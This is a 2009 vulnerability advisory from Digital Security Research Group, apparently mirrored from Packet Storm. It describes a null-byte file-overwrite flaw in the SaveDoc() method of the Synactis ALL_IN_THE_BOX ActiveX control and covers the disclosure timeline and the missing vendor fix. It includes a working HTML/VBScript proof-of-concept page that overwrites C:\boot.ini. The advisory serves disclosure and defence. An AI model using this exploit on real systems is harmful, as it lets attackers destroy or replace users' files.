Synactic ALL_IN_THE_BOX File Overwrite

🗓️ 30 Jan 2009 00:00:00Reported by dsecrg.comType

packetstorm🔗 packetstormsecurity.com👁 31 Views

Synactic ALL_IN_THE_BOX File Overwrite vulnerability in Synactis All_IN_THE_BOX ActiveX Control allows attackers to overwrite any file in the target system by exploiting the "SaveDoc()" method. This vulnerability affects version 3 of the ActiveX control

`   
[DSECRG-09-006] Synactis All_IN_THE_BOX ActiveX Control - Null byte File Owervrite  
  
Synactis All_IN_THE_BOX ActiveX Control (ALL_IN_THE_BOX.OCX) can be used to owervrite any any file in target system. Vulnerable method is "SaveDoc()"  
  
  
  
Application: Synactis All_IN_THE_BOX ActiveX  
Versions Affected: 3  
Vendor URL: http://synactis.com  
Bugs: Null byte File overwriting  
Exploits: YES  
Reported: 15.01.2009  
Vendor response: NONE  
Second Report: 22.01.2009  
Vendor response: NONE  
Date of Public Advisory: 30.01.2009  
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Details  
*******  
  
By default All_IN_THE_BOX ActiveX control save attend extension to filename variable in "SaveDoc()" method.  
For example if you enterfile name "boot.ini" in "SaveDoc()" method then control will create file boot.ini.box.  
But by attending a null byte to filename attacker can owervrite any file in OS (see example)  
  
  
  
Class AllBox  
GUID: {B5576893-F948-4E0F-9BE1-A37CB56D66FF}  
Number of Interfaces: 1  
Default Interface: IAllBox  
RegKey Safe for Script: False  
RegkeySafe for Init: False  
KillBitSet: False  
  
  
  
Example:  
*******  
  
<html>  
Test Exploit page  
<object classid='clsid:B5576893-F948-4E0F-9BE1-A37CB56D66FF' id='sh2kerr' ></object>  
<script language='vbscript'>  
  
targetFile = "C:\PROGRA~1\Synactis\ALLIN-~1\ALL_IN~1.OCX"  
prototype = "Sub SaveDoc ( ByVal aFileName As String )"  
memberName = "SaveDoc"  
progid = "All_In_The_Box.AllBox"  
argCount = 1  
arg1="C:\boot.ini"+unescape("%00")  
sh2kerr.SaveDoc arg1  
</script>  
</html>  
  
  
  
Fix Information  
***************  
  
No patches available.  
We did not get any response from vendor for 2 weeks.  
  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsecrg.com  
http://www.dsec.ru  
  
`